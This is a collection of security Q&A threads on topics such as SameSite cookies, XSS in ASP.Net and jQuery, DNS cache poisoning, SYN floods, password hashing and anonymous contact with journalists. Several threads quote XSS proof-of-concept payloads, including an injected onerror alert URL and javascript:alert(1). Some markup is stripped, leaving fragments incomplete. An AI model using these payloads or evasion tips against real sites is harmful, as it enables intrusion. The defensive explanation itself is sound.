What CSRF attacks will 'First-Party-Only' cookies protect against? The new 'First-Party-Only' cookie attribute:

  ... allows servers to assert that a cookie ought to be
     sent only in a "first-party" context.  This assertion allows user
     agents to mitigate the risk of cross-site request forgery attacks,
     and other related paths to cross-origin information leakage.

Chrome is planning to implement the feature in chrome #50.

The spec defines First-Party:

  ... as an HTTP request for a resource whose URL's origin matches the origin of the URL the user sees in the address bar.

Specifically stating:

  New windows create new first-party contexts.
  Full-page navigations create new first-party contexts.  Notably, this includes both HTTP and <meta>-driven redirects.
  <iframe>'s do not create new first-party contexts; their requests
    MUST be considered in the context of the origin of the URL the
    user actually sees in the user agent's address bar.

So the feature seems to protect against the case when CSRF is used to send a POST request to an <iframe> on the attacker's page. But how about the following CSRF vectors:

The CSRF is a link or a javascript navigation to a GET request? The user will see a full navigation, I assume we aren't helped here.
The CSRF is a javascript submitted POST but the target of the form causes a full navigation to the victim's site? More likely to be dodgy as the POST comes from somewhere else but it's still a full navigation.

I'm excited about this new Cookie feature but to exactly what extent does it protect against CSRF attacks?

In addition to your own answer, CSRF defences are still recommended and are useful:

"SameSite" cookies offer a robust defense against CSRF attack when
deployed in strict mode, and when supported by the client.  It is,
however, prudent to ensure that this designation is not the extent of
a site's defense against CSRF, as same-site navigations and
submissions can certainly be executed in conjunction with other
attack vectors such as cross-site scripting.
Developers are strongly encouraged to deploy the usual server-side
defenses (CSRF tokens, ensuring that "safe" HTTP methods are
idempotent, etc) to mitigate the risk more fully.
Additionally, client-side techniques such as those described in
[app-isolation] may also prove effective against CSRF, and are
certainly worth exploring in combination with "SameSite" cookies.

Although I do disagree with the XSS attack vector from the same Origin, as XSS always trumps a CSRF vulnerability - if an attacker can inject HTML and script they can circumvent most defences (or all defences with a bit of "social engineering" to trick the user into entering passwords or CAPTCHAs when required).
However, as jub0bs poins out, subdomains with vulnerabilities may be an additional attack vector.


Is there a risk in opening port 22 for ssh access with a network? Background

We have our own datacenter which houses platform specific environments and each environment is isolated. Eeach environment is also has 3 tiers (Web Servers, Application Servers & Datastore). We also plan on introducing an Automation framework(environment) which needs to communicate with the platform specific environments hosts.

Network

private datacenter [Automation environment host runs commands ----> <ssh> ---> platform hosts]

Concern

Some team members have raised this as a security concern. Specially ssh access into the DB servers in tier 3. Now I'm more of a dev than an ops guy so I'd like to get more of a thorough explanation on why this might be too much of a risk.

Can someone clearly highlight why this is not recommended? or perhaps it is not a risk, and if so can you please highlight the considerations to implement it.

Thanks.

Can someone clearly highlight why this is not recommended?

Because any running service is increasing your attack surface. Especially with network capable services, you're always exposed to danger. I don't think anyone can give you a more specific answer than that, since the SSH implementations tend to be quite OK from a security standpoint. Nevertheless there is always the possibility that an exploit is discovered, granting anyone sending the right packets to your server access or that you've greatly misconfigured your servers.

But, even if you assume that the software itself is flawless, there are a couple of reasons why you might want to re-think your approach. Obviously, you haven't told us and details about your setup, but in the real world key management, audit trails and firewalling is always an issue. Aiming for another approach might therefore be a good idea.


How can hackers steal from a savings account that has no client card? Someone I know was stolen a few hundreds dollars from a savings account. Looking at the history, she saw transactions like Uber rides and video games purchases she did not do. This account is used strictly for investing and is only accessed from her iPad. The only access card is in a drawer in her home and has never been used in a terminal. I know you can use hacked terminals to clone cards and steal PINs but my understanding is you need to actually swipe the card somewhere for this to happen. Appart from an  internal data leak at the bank, is there any other possible explanation?

In theory, you only actually need the routing number and account number to issue a transaction (note that this is most of how transactions with cheques work).
If there's a card, there's also another set of numbers you can use, namely the card number and expiration date (and usually the cardholder name and possibly the CVV, this is how most online transactions work). You may not even need the PIN for the card here either, as a lot of banks will let you make 'credit' charges on a debit card (and most ATM cards anymore are debit cards too).
This then comes down to how those numbers may have gotten out, and there are five possibilities I can think of here:

An attack on the investment firm the account is used with. Statistically not very likely IMO, but still theoretically possible.
A phishing attack on the account holder. In most cases, people will not willingly tell you if they've had this happen, so you may need to dig a bit to get them to tell you if this is the case.
An attack on the bank the account is with. Less likely even than an attack on the investment firm, but still a remote possiblity.
A rogue employee at either the investment firm or bank.
A relative or friend who has visited the victim recently.


Recover file using Java RanNum Gen + Key EDIT: Here is some more background. I am basically trying to reproduce this the method outlined here I have been able to hit everything up until the paragraph regarding the decrypting of the data file in the raw folder. That site pretty much outlines everything.

The file was encrypted using a random number via the java random number generator. The random number was generated via a seed (located in the manifest file). I tracked down the seed and built a random number generator. I fed it the seed which supplied me with the key for the encrypted file in the raw folder.

Now I am left with they key to an encrypted file, however I am unfamiliar with decrypting a file in this fashion. That is my question. In what way would one go about decrypting a file that was encrypted in this manner.

Is it done with a software tool, or can it be done via the linux terminal?

@Gilles

Unfortunately I am not that advanced in computer forensics (but you can tell I'm attempting to learn)

Here is the output of hexdump from the terminal.

0000000 5194 1748 f896 bd6c fdf9 0d72 617e 7714
0000010 2221 4b77 a96b d327 1e2a 67d7 6e91 1720
0000020

Here is what shows up when I open the file with a text editor.

QHølœùýr
~aw!"wKk©'Ó*×gn

This should answer your question and how to reverse engineer it:

http://resources.infosecinstitute.com/rootsmart-android-malware/

Basically; it was encrypted with AES 128 and points to a Chinese URL (go.docrui.com).


ASP.Net XSS - How does this vulnerability work I have been tasked with fixing a XSS issue in an ASP.Net application, but I have never seen this kind of attack before so first it would be great if I could understand how this is working and then I need some help because I haven't been able to fix it.
The attack goes like so:
https://example.com/AnyPageInTheApplication.aspx/(A('onerror='alert%601%60'testabcd))/

When I look at the network tab in Chrome's dev tools I see that the request has been hijacked by the last section of the URL and the alert shows up, but I do not know how this is working. An explanation would be greatly appreciated.
To fix it I first looked at the application web.config file and I saw that the validateRequest switch is disabled so I changed it to true and the vulnerability is still there.
The application is really large and according to some documentation on it, apparently they disabled the validateRequest switch because it is supposed to be handled on the server by some backend code, obviously not working, and I am still to find out what are the reasons for this application to be designed this way (I'm very new to the company).
This issue begs a few questions:

Why would enabling the validateRequest switch does not fix the issue?
Where else could I look for the potential problem?
Is there an alternative to fix this vulnerability other than validateRequest?

An XSS vulnerability basically executes in the browser and not the backend itself. So I will try to explain in details by an example so I can be clear.
Example:

An input name field that goes to the backend via a input field in html.
Instead of a name I issue a simple js tag that has the command <script>alert(33)</script> (notice that this is an javascript tag)
The code goes to the backend where ASP.NET is going to process it. (Can be stored or reflected more about that in the OWASP section).
ASP.NET does not validate the input and the input name goes back to the Browser so it can appear in the users page.
The Browser sees that tag and instead of interpreting as a regular input the Browser sees that an js tag, so by doing so it executes commands like html or js (as an exemple for people seeing this just an example only) and prints that alert from sending the alert step. Making the Browser interpret that command.

This can be used to trigger many evil things that i cannot say here.

Why would enabling the validateRequest switch does not fix the issue?
Answer : From the OWASP page I see this:
Do not disable validateRequest in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built-in protections.

Where else could I look for the potential problem?
If what I understand you should look for when you receive the input from any source rather an api or a normal input.

Is there an alternative to fix this vulnerability other than validateRequest?
Validate every input as bad input. Where you can find viable ways is to look here:
https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html


Why is a separate reconnaissance server needed for DNS cache poisoning? I'm trying to understand how Metasploit's DNS BailiWicked Host Attack module works. One of the required module options is a "reconnaissance" nameserver (option RECONS).

What I understand from the source code is that the the recon server is used to find the authoritative nameserver for the domain we are spoofing. But why can't the target name server be used for this? Is it so that the target host doesn't get cached during the lookup?

From looking at the source, I am going to wager that one potential reason is due to the fact that the user has the option to spoof the source IP address that is sending the malicious DNS requests and responses.

If one was using the target name server to retrieve information, they would need to make requests from their true IP in order to receive responses. If they were doing this in combination with sending the malicious requests from a spoofed IP, a network admin in charge of the target DNS server could notice the two IPs making requests regarding the same malicious hostname, and easily determine which one is spoofed and which one is a real originating IP.

So, this makes it possible for an attacker to fully disguise the source of the attack.


How can "USB stick" online identification possibly work? My bank recently revamped its website, and it changed for the better as far as I’m concerned. Especially, security seems to have been dramatically enhanced.

Most importantly, they introduced a rather unusual (I’ve never seen this before) identification method, which they call the ‘electronic certificate’. Basically, you have to go to the bank in person and the guy gives you a tiny, cheap USB stick with a very low capacity. From this point, you’ll be required to plug the stick into your computer every time you want to log in. The stick alone is not enough, you also have to type your password — basically, 2-factor-authentification with a USB device being the second factor.

How can this possibly work? Of course, I believe the USB stick to contain certificates/encryption keys of some kind, that are used in the login process, but they don’t require the user to install any software on the machine. I find it rather creepy that a website accessed from a sandboxed web browser, with no plug-in/module/app/toolbar installed whatsoever, can see the USB stick you just plugged in. And not only see this stick, but read it and use its content deeply enough to log you to the most sensitive level of your online banking app.

I am not a big fan of plugging unknown devices into my computer to begin with, and my warning light flashed when this was explained to me, so I went for another identification method (you can choose). I’m just curious.

PS: the measure obviously does not apply to their mobile apps, since smartphones don’t have USB ports, but that’s not a big deal because you cannot do much with their phone app (it's mainly a consultation app, not something you can actually make big payments/transfers with).

Edit: no open file dialog is used, which would make the explanation quite clear.

What your bank gave you is an USB security token with a digital certificate (like these). These are standardized hardware devices which almost every operating system supports plug&play out of the box. They are very common for implementing multi-factor-authentication to high-security systems in enterprise IT.

Your web browser uses HTTPS with client-based certificates to access your bank's website. It uses your operating systems certificate store to find an installed certificate which matches the identity the webserver requests. When you have a standard USB security token installed, the operating system will also look for any certificates on the token.

The operating system can not do the verification process with the webserver by itself, because the token doesn't allow to read the private key of the certificates stored on it directly. The token includes the hardware to do the verification. So the private key never leaves the USB stick. That means even if your PC is compromised by malware, the private key of the certificate isn't in danger of being stolen (but keep in mind that this method doesn't provide any protection after the authentication was successful. Malware can still screw with your web browser).

By the way: Which bank is that? If my bank would also support this authentication method, I might even start doing online banking.


Preventing DDoS from faked IP address According to this answer, it's possible to send a network packet with a forged source IP address.

So, what methods a server administrator can take to prevent/block a countless requests from faked IP addresses, assuming they have no known regularity (except that they are a lot), and he doesn't intend to prevent some legitimate clients from the service (for instance, a web server), even temporarily.

For the quick answer: use synproxy (as offered by BSD's pf for instance), or a reverse proxy like Nginx if you have an Apache directly facing Internet.

Real DDoS issues would merely come from actual IP address owned by botnets than faked IP address. However, some application remains indeed sensible to fake SYN packet, but this is merely an application issue exploitable by a single host (aka DoS with a single 'D') than a DDoS

Why? Thank to TCP 3 way handshake:

The client sends a SYN packet,
The servers answer with a SYN-ACK packet,
The client answers back with a ACK packet,
Then at last the TCP connection is established and the HTTP request (for instance) can be sent from the client to the server.

What invalidates forged IP address is that each host selects a random sequence in this handshake, and for the connection to be established client's final ACK must show the two sequence number validly incremented.

When you use a forged IP address for your SYN request, by definition you will never receive the server's SYN-ACK, therefore you will never now the random sequence number he selected, so you will never be able to complete the TCP handshake.

So, when you use a forged IP address, the only "harm" you may do is send fake SYN requests to the server, which should require very low resources on server side, and which will indeed require negligible resource if the server or its firewall is using above mentioned synproxy (with this option enable, the connection will be forwarded to the listening service only when the 3-way handshake has been successfully executed).

If you do not use synproxy, depending on the way your service is implemented a SYN packet may involve more or less resource. The issue with Apache server is that it already forks to a new process upon SYN packet reception, so you need either to protect it using specific measures (adding Nginx which uses another implementation not sensible to such issue), or configure your firewall to mitigate the risk (reduce the number of ongoing TCP handshakes, reduce the handshake delay, etc., but unlike previous solutions this one may have an impact on legitimate clients).


What can be added on a proxy server using TLS v1.3 more secure? i would like to know what can be added to make a proxy server using TLS encryption more secure so that it can bypass censors that are using quantum computational power?

so that it can bypass censors that are using quantum computational power?

There are currently no censors which have this power and it will still be a long time before the techniques are a) established and b) cheap enough to be actually usable for censoring.
Apart from that work and experiments are underway so that future versions of TLS (or maybe extensions to TLS 1.3) can make use of PQC (post quantum cryptography). But this will also likely take more years to get ready and standardized.
This means there is currently no way to use TLS 1.3 to be safe against the attacks you envision. But there is also currently no need since these attacks are not feasible yet and will not be feasible for many years. And there are likely many more important and realistic problems you have to worry about currently - see this XKCD.


URL parameter manipulation and injection I have a scenario with 2 sites. Site 1 is mysite.com and Site 2 is secondurl.com.

Site 1 is using Wordpress. There, I did a Javascrit/jQuery routine that checks if a given url parameter comes in. If the parameter "p" exists on the query string, I do a replacement on all URLs on my homepage that point to Site 2, now, passing this give value that came in through query string, like this:

Link

to

Link

"Value", as I mentioned before, is what comes via query string, when Site 1 is visited. Like:

mysite.com?p=123

I don't treat the query string, I just get the value of p and generate the second url with that parameter. Both sites are on the same server, Site 1 is using wordpress and Site 2 pure PHP.

Does this url replacement using jQuery opens any vulnerability on my server that has both sites?
If yes, is it possible that someone could place python or php scripts on my server using that vulnerability?

tl/dr: Whether or not you have a reflected XSS vulnerability depends
on the exact method you use to append the data.  Therefore you should
specifically check your chosen method to make sure it is safe.  Modern
javascript frameworks typically take care of these things automatically for you, but jQuery
doesn't, so attention to detail is critical.

You don't specifically have to worry about the interaction between site 1 and site 2.  The reason is because site 2 needs to be secure in all the normal ways anyway (use prepared queries, etc...).  A malicious user wouldn't use site 1 to attack site 2 (in this case), because if they wanted to they could just go attack site 2 directly.
So the main question here is whether or not site 1 is vulnerable.  To be clear, the concern would be over the possibility of a reflected XSS attack (which is what ExecutionByFork mentions in their answer).  To give a simple example, what happens if a user visits this URL:
http://mysite.com?p=">

If the way you add the p parameter to all other links implicitly treats its contents as HTML, then you will end up injecting an actual script tag into the page, executing the attackers javascript in a classic reflected XSS attack.
So the question is: do you append the p parameter in a way that potentially treats the data as HTML (creating a vulnerability), or do you append it in a safe way?  The answer to that question comes down to the specific methods you use to append the data.  Let me give two examples:
Largely safe: .prop()
Using the jQuery .prop method is safe because it falls back on setting the property of the corresponding DOM node.  By doing it this way there is no opportunity to escape the property context.  In essence, whatever you send in to the .prop method will only ever be treated as a string, with no opportunity for execution.  So code like this is safe from a reflected XSS attack:
var link = $('a').first();
old_href = link.prop('href');
link.prop('href', old_href + '?p=' + injected_data))

However this would not be safe if the user had full control of the final href (if for instance you didn't append, but instead set the href based exclusively on the user input).  In that case the user could switch the link to execute javascript like so:
http://mysite.com?p=javascript:alert(1)

Which would cause a vulnerability for code like this:
link.prop('href', injected_data))

As long as you are appending data to something that is already there, this is impossible.  However, if the href tag is previously empty, you can end up with a vulnerability (although it will only fire if the user clicks the link: not just by loading the page).
Of course, even this doesn't guarantee safe-ness, since potentially malicious data is hiding around in your application to cause problems.  You may forget that the href now contains user data, and if some other javascript grabs the href out of a link and tries to do something with it, it may cause trouble.  Also, keep in mind that this malicious data will be passed along to Site 2 when someone clicks the link, so Site 2 needs to properly secure itself (which was true before anyway, so that's not really anything you didn't already know).
Not safe: .replaceWith()
However, many other javascript methods will allow your string to be treated as HTML, which will result in reflected XSS.  In fact, there are probably more dangerous methods than safe one, so you should probably verify that whatever method you are using is actually safe.  Still, to pick an example, .replaceWith() will evaluate your string as HTML.  So something like this would be dangerous:
link = $('a').first();
old_href = link.prop('href');
link.replaceWith('click here');


Chrome reports on other browsers running I was playing around with Chrome and typed the following in the address bar:

chrome://memory-redirect

And saw the note: "If other browsers (e.g. IE, Firefox, Safari) are running, I'll show you their memory details here."

After I saw the note, openned FF, refreshed the page in Chrome, and sure enough there Chrome was reporting on FireFox.

Any thoughts to if this might lead to any security issues, including but not limited to privacy?

I'm pretty sure this is fairly benign.  You can use the PSAPI functions to get the same details if you have sufficient privileges.  I'm pretty sure this is the basis for the Task Manager built into Windows as well as the Process Explorer.  Note that on Linux machines, you can generally see these details as well regardless of your permission set.

Chrome is clearly performing some filtration on the process results to deliver these specific browser details.


Hashing user passwords via Javascript client-side versus server-side hashing? I got into a discussion with one of our senior developers over password hashing/transmission best practices and it left me curious as to what the industry standard best practice is.

In the previous/current revision of our web service, we transmit users' plaintext passwords with SSL to the server and hash them server side via SHA-256 prior to inserting them into the database. However, a security audit by a third-party company declared that this was insecure and not a good practice.

So for our future release, we've transitioned to using cryptojs to hash passwords (unsalted) client-side, and these values are stored directly into the database without any further manipulation.

The general consensus is that in the event of an internal security breach, we NEVER handle any user's plaintext password, and we would much rather someone bypass our security implementations and have a hashed password rather than a user's plaintext password.

I'm curious as to whether this is adequate or should we be performing a secondary salted hash server-side to further protect ourselves?

First and foremost "best practice" is to cease to use the term "encryption" because SHA-256 is not encryption. This is called hashing. If your senior developers and the third-party auditors all talk of SHA-256 as "encryption" then rest assured that none of them actually knows what they are talking about.

In your system, whatever the client sends, be it "encrypted" (hashed) or not on the client, is a value that grants access; that value is thus password-equivalent and revealing it is as deadly to the security of your server as the plaintext password. That kind of client-side hashing does not bring the security improvement that your auditors appear to believe it to do. Compounding the situation is the fact that when the client performs hashing with Javascript code, that Javascript code was just sent by the server itself, so a compromised server could perfectly send some Javascript that simply receives the user password as he types it in, and send that password to a server in Mongolia.

In any case, human minds being what they are, user-remembered passwords are weak against brute force (called "dictionary attacks"). A simple invocation of a cryptographic hash function such as SHA-256, irrespective of how cryptographically secure that function is, is way too fast to provide much protection here; an off-the-shelf desktop PC can hash potential passwords at rates counted in billions per second. Good password hashing requires dedicated functions with a configurable (but inherently high) computational cost. You won't be able to do that properly in Javascript because Javascript is feeble for computation-intensive tasks.

The best practice is to use SSL (always), transmit the password as-is in the SSL tunnel, and let the server apply a proper password hashing function, i.e. bcrypt (with a high enough iteration count -- as high as can be tolerated given the available hardware and expected peak load).

Occasionally, one encounters auditors in want of something to say, and you may have to perform some ritual dancing to appease them. One of such dances is sprinkling cryptography in various places, like cake icing. This is idiotic but harmless, as long as you do not remove the important parts. In your case, you can do SHA-256 hashing on the client side, but you must not remove the proper password hashing on the server side -- that is, consider the client-computed hash result as the "password" and use that as input to bcrypt. (Beware that hash outputs are binary, not text, so some encoding is needed, e.g. hexadecimal or Base64.)

The extra SHA-256 would then be useless, but will not make your system weaker -- contrary to what you are purporting to do:

  So for our future release, we've transitioned to using cryptojs to encrypt passwords (unsalted) client-side, and these values are stored directly into the database without any further manipulation.

If you do that, then the database contents can be used to grant immediate access to the server. A simple read-only glimpse at the database (e.g. a discarded broken hard drive, a lost backup tape, a SQL injection attack...), and your security has gone down the drain.


Can I use a single SSL with multiple subdomains that all points to the same server? Our staging server has 1 domain pointing to it, and each of our customers apps are accessed with subdomains using virtual hosts (CNAME record has wildcard * on subdomains to point to the server as well).

Apple has forced developers to use SSL so we find ourselves unable to test certain functions on staging environment (or we have to dig 2 hours on a workaround), so I think it's more efficient if we just SSL it.

Godaddy seems to provide 3 tiers of SSL, the most expensive one says secure one website and all it's subdomains but I don't know if maybe that's for subdomains that points to different servers, so it is overkill for me. Any type of guidance will be appreciated, thanks in advance.

You can use a certificate for all names contained in the certificate. It does not matter which IP address gets used in the end, if there are CNAMEs involved etc. The only thing which matters is if the hostname in the URL matches successfully against the certificate returned by the server, that means exact match or wildcard match against the names in the certificate.

It might be that you certificate provider has some more usage restrictions in the contract, but these are not technically enforced by the browser.


Plausible PayPal phishing... with no evidence credentials were stolen Yesterday my housemate was almost scammed by someone on the internet, or so I thought. She was selling some goods on a ebay-like website, and someone contacted her to buy her stuff. She then received a false email from "Paypal" telling her she had received a certain amount of cash (which was not exactly the one she asked, thus she thought something was wrong) from that person.

By error she clicked a link in the mail, allegedly linking to a PayPal payment reference. She said nothing was prompted to her, or downloaded and she exited the opened webpage immediately.

Later that day, she realized her PayPal credentials were not valid anymore, and when she tried to change them by asking new ones, the codes she got on her phone by SMS were not working at all. She had to contact PayPal support directly for help, and now her credentials work once more. She think nothing was stolen from her account in the mean time.

Could possibly the two events be linked ? Could it be that by a simple phishing attempt an attacker managed to retrieve her credentials even though she was not prompted a false PayPal login page ? If yes, how ?

Yes it's possible especially if the housemate was already logged into PayPal or checks "keep me logged in", the attacker may have found a way to hijack the session , run a script to hook the browser , or an exploit is possible as well.

Then the attacker logged in and probably changed your email , and/or password and/or 2 factor number to control your account.

Check your transactions to ensure nothing else was sent or received.


Disk level encryption + compression performance? What are pros and cons for using disk level encryption like VeraCrypt and then turning on compression on mounted (virtually decrypted) drive? It seams to me that this can even increase some performance if data is compressed very good as it will decrease size of files that need to be encrypted. Did anyone do benchmarks of configuration like this?

I can see that compression of already encrypted drive is futile as encrypted data will compress very bad so this will give me only performance downgrade, but encryption of compressed files looks interesting.

Compression is Often a Bad Idea, It is a performance killer (unless your using Hardware compression), Most Binary information Compresses very poorly. Only Text is known to save you a lot of disk space when storing. But compressing a volume exposes it to more risk of data loss (not only the encryption but also the compression algorithm can leak data or lose data.)

I have not done any measurements myself recently but I would suspect it only adds complexity and does not do a performance enhancement.


Can I use an AP "Bridge" with password to imporve security over an open, unencrtyped WiFi signal? I have access in my neighborhood to an open, unencrypted WiFi signal but I am leery of using it because of security reasons.

I don't want to let my username, passwords or credit card numbers available over an open , unencrypted WiFi signal.

My question is this, I purchased a router that has the ability to "Bridge" to this open WiFi signal and it creates a new "Access Point" that requires a password and provides encryption.

Is this router actually providing security with the new "Access Point" that "Bridges" to the open signal?  Is the data passing through the air to the original WiFi AP now encrypted because the 2nd "Bridge" router is using encryption.

Thanks for any feedback!

This would provide no additional security unfortunately.

If you use the new AP as a bridge you would not then be able to connect to it via WiFi, you would connect to it via Ethernet. It effectively connects your wired network to the WiFi network.

That aside because the network is open anyone can join the network. Once on the network (even if the AP bridge did offer you protection) they could still gain access to your traffic using a MiTM (man in the middle) attack like ARP Cache Poisoning. I've written a few articles on my blog about Session Hijacking and Code Injection which are a couple of attacks you would be vulnerable to.


Is it good or bad practice to allow a user to change their username? I have looked all over online as well as this site to try to find out more information regarding the security of this, but haven't found anything. In my particular case, the product is a website, but I think this question applies for any software that hosts a large number of users.

I know there are numerous websites out there that allow you to change your username, but at the same time there are many that do not allow it. I'm sure some that do not allow it may be just for simplicity, but possibly for security as well.

My question is just like the title asks:

From a security standpoint, would you say it is good or bad practice to allow individuals to change their username?

I currently cannot think of any reason not to allow it, given it is done properly (ie make it impossible for duplicate usernames, require inputting current password to make sure password requirements are still met regarding not containing username, etc), but I can't help but think there's something I'm missing.

I know there are advantages from the user's perspective to allow them to change their username. An example would be if they set their username to their email address and decide to use a different email address later. Instead, I'm curious of the benefits vs risks regarding the security of the application and login process if you allow them to change their username.

EDIT:

Some of the answers bring up good points regarding publicly-displayed names, but to clarify, the question is not regarding any public display name, but instead the unique username used to log in.

Many people have looked at the reasons not to allow name changes from both a security and a community standpoint. However, there are plenty of legitimate reasons to allow username changes, even if the username is separate from the display name, for example:

Someone has changed their real life name or the name by which they'd prefer to be called, due to marriage, family situations, escaping stalking/harassment/etc., and so on

  Even in the case of it being simply a username, having to use an old name which carries trauma can further the trauma. Also, it is quite possible for a stalker/harasser to know their target's login credentials, and being able to change both parts of the credential lowers the attack surface; further, monitoring attempts at logging in to an abandoned username allows for building a legal case against a bad agent.

People have decided to move forward on a gender transition

  Being forced to use one's "dead name," even in the context of a private username, is also very traumatic. (I can speak to personal experience on this one.)

People have a username that they no longer feel suits them for whatever reason

  This has less of an implication for internal usernames but it's still better to err on the side of kindness, in my opinion.

These are all important for user comfort, and in many cases people would likely just create a new account with the new name anyway, so might as well support it.

Avoiding social engineering certainly is important but there are approaches that help to mitigate this, such as various forms of verification (as seen on several social networks), public-key cryptography, and profile indicators ("name last changed N months ago; name changed K times"). And, since this question has been edited to be regarding internal user names and not public display names, those concerns aren't even germane to the discussion.

Also, keep in mind that many attack surfaces provided by someone changing their username is also present for someone simply creating a new account, and if a username change option is not available then the user will likely create a new account - possibly using the same password as the old one and otherwise doing things that might lead to compromised security.

It is a good idea to maintain an audit trail of username changes and disallow the creation of new accounts that use a previously-used username (at least if the username was last used within the past, say, year), but there is no reason that the username should ever be the primary key used to associate data with the user account in the first place, because there are legitimate purposes for a username change and all account records should be normalized to an abstract internal-only ID in the first place.


Convince people not to share their password with trusted others IT workers are usually trusted by their family members who readily share passwords (Facebook, email, twitter, you-name-it!) so they can get easy help to set what-ever-parameter they don't find or explanation of a challenging situation.

I always try to convince and explain why this is a bad practice and that I do not want to know their password. However, I usually fall short on argument when I get answered "But I know I can trust you" or "I know that you will not use this for evil acts" to which I can't really reply "You don't know" as it would imply they can't trust me (remember, they are family members).

What list of arguments (the longer, the better) do you use to explain the risks of having such bad practice?

Here is my own small list:

That's a bad practice and you should not trust anyone with.
That's not respectful for the people sharing intimacy with you (you gave me your Facebook password, I have now access to all the very personal details of people that trust you and not me).
That's a responsibility I do not want that you force on me.
If I use this password carelessly (i.e., without checking over my shoulder) someone can read this password and I would be the one that leaked it.

Most of them usually don't understand, become suspicious or just assume that we are just paranoid.

Please, avoid cases when harm is done using passwords. While this is mostly funny or creative, that does not answer to my answer where people trust you and this must be kept as is. Note though, that the comments stating you didn't realize they'd find what you did a problem or changing the password by a secure one and sending the password reset link are somehow valid in a way ;)

The nice and educational way
This is a bit similar to your third bullet point.

Nobody else should know your password, not even people you trust. That is the only way you can be sure only you have access to your account. Let's say you give me your Facebook password and a week later rumors start spreading about what you did in Las Vegas last year.
Only a few people you trust knows that, and well, potentially me since I have your Facebook password. If that happens, I do not want to be a suspect. I do not want to be in a position where every privacy-related incident that happens to you could have been because of me.
Giving information they should not have to people you trust can end up destroying that trust instead of reinforcing it.

If countered with "but I really do trust you completely", highlight that the person also completely trusts Eve and Mark, the only two persons in the world who know about the Vegas incident, and if the word gets out clearly someone trusted must have broken the trust. A key message is this:

I do not want to be party to all your secrets.

If need be, make up a white lie about a friend of yours who got in trouble in a similar scenario to make it more concrete.
The not so nice and educational way

To teach people not to share their password, I post all passwords people give to me on Twitter. No exceptions. If you give me your Facebook password, within five minutes it will be on Twitter together with your username. [Open up Twitter and get ready to type.]
If you still want to give it to me, that is fine, but you have been warned.

This is probably not a good idea since you should not make threats you are not prepared to deliver on, and you should not deliver on this threat. But sometimes I am tempted...
Reversing the roles
Sometimes it is easier to understand someone else's position if you reverse the roles. Give the person a sealed envelope and say this:

This envelope contains a piece of information that would completely ruin my career, my marriage, my life if it ever came out. You must hold on to this envelope forever, and make sure that nobody - including you - ever see what is inside.
But don't worry, I trust you completely.

When they refuse to take the envelope, explain that you don't want their Facebook password either.


Disable modules in Metasploit Pro I have been using Metasploit pro for last few days. I understand that exploiting in Pro version is automatic using exploit ranks(GUI). But If I want to disable certain modules while exploiting, is it possible to disable?

This is required when certain exploits are not supposed to be performed on production servers.

I confirmed with the support team. There is no way you can disable the modules in Metasploit Pro. You can only choose the ranking of the exploit modules. I also confirmed that there are no Denial of Service modules used with "Great" or "Excellent" ranking modules.


Staying anonymous vs a Five Eyes adversary? If you were in a Five Eyes country and you wanted to contact someone else anonymously, without this person or the government finding out who you are or your location, how would you do it?
The person you are contacting does not know you and you have never spoken before. The only initial contact information you have is an email address, and you wish to send a message, and potentially later some files, in an on-going conversation over several weeks or even months.
Assume neither the content of the message or the files can be connected to you. There is however a possibility that either the government is monitoring this person, or that they are actually working together or have taken over their communication. And finally, if caught you face a good few years in prison for passing on the information.
I am aware that a government adversary of this calibre is extremely difficult to evade if they really want to get you. Would it be enough to:

Use some form of more secure operating system (Whonix, Qubes, Tails) on a laptop bought in cash, which has never connected to the internet from an IP linked to you.
Contact the person using an email like ProtonMail over Tor (uses Javascript?)
Use a different location each time you connect to the internet, e.g. public wifi, or a data SIM and dongle (bought with cash and discarded after each use), and avoiding CCTV.

I assume the first message sent in the above way would be relatively untraceable, but after that?
Or is there a better way? Am I completely off track?

If you really have sensitive information to transmit, seems to me that learning PGP is a must-do.
when Edward Snowden contacted journalists he actually had to train them to PGP in order to establish a secure channel for further correspondence.
I am talking about end to end encryption here, not relying on some third party like Protonmail to encrypt your original plain text materials.
Even if the person is not under targeted surveillance, the intelligence agencies tap into Internet traffic and sniffing keywords off plain E-mail for data mining purposes is routine for them. There is a chance that your correspondence will trigger some alarm, depending on the keywords. Anyway, E-mail is mostly in the clear unlike web traffic. In short E-mail is not a good way to send sensitive/confidential information.
It is perfectly plausible that your E-mail could be reviewed by an analyst at some 3-letter agency before the intended recipient actually reads it.
Obviously using PGP is a sign that both parties "have something to hide" or just take their privacy seriously, and that can attract further scrutiny. But with proper opsec on both ends nosy governments should not be able to figure out the contents of the mails. What you don't want is Big Brother being alerted and terminating the conversation before you've had a chance to deliver your message.
Tails should be sufficient for your purpose, using a public wifi connection, preferably in a place where there are no cameras and no footage of your presence.
Note that Tails will spoof your MAC addresses, so in theory it cannot be proven that your laptop was even used on a given wifi hotspot, provided that the connection can actually traced back to the place of origin.
The critical part in this setup is that when your correspondent sends you their public PGP key, you have to trust that it is really theirs and not that of a man in the middle. But if it comes to that your correspondent is already compromised.


What is the safest way to store passwords in a company for the case when the CISO leaves? What is the best and safest way to store passwords in a company to ensure nothing is lost when the CISO leaves. I know this might be subjective and there isn't THE best way. But I'm curious about your approach.

The scenario is: The person responsible for IT has to manage a lot of passwords for servers and third-party services. It would be bad if these passwords are only known to the person in charge. The person can get sick, let go, etc. pp. So there needs to be a way for management to retrieve said passwords and make them accessible for other people - if needed. But they also need to be secure and only accessible in this case.

My approach would be to use a simple plain text file on an encrypted USB drive + one backup (also USB drive) in a secure (physical) location. Then provide management with the password for the drive. The person in charge can carry the drive around like a key. If stolen, it is useless. If lost, there is a backup. If person isn't available anymore, management can access it.

Thoughts?

What's the best way to store passwords?

This is a very broad subject that encompasses many different areas of IT. It also has the tendency to be opinion-based. However, there are some very important things we can know, and then use to make an informed decision.

Also, there are many different ways to handle passwords. What size company? Small? Medium? Large? Colossal? In my opinion, you can't just ask for the best way to store passwords, nor store them all in the same place in all cases. You have to know why people need passwords, and when they need them.

You also need to know what will happen if you have to change the passwords (due to a breach, etc). And after that, you have to know the impact of changing the passwords. Will it break your applications? If so, how quickly can the developers update their code? Does it violate the CIA triad? CIA Triad = Confidentiality, Integrity, Availability.

Your passwords should be hashed with a proper algorithm, and not stored in plain-text, but at the same time, many different roles require a lot of plain-text passwords. There's a difference between a plain-text print-out, and storing unhashed passwords in the database. Do not mix these concepts up.

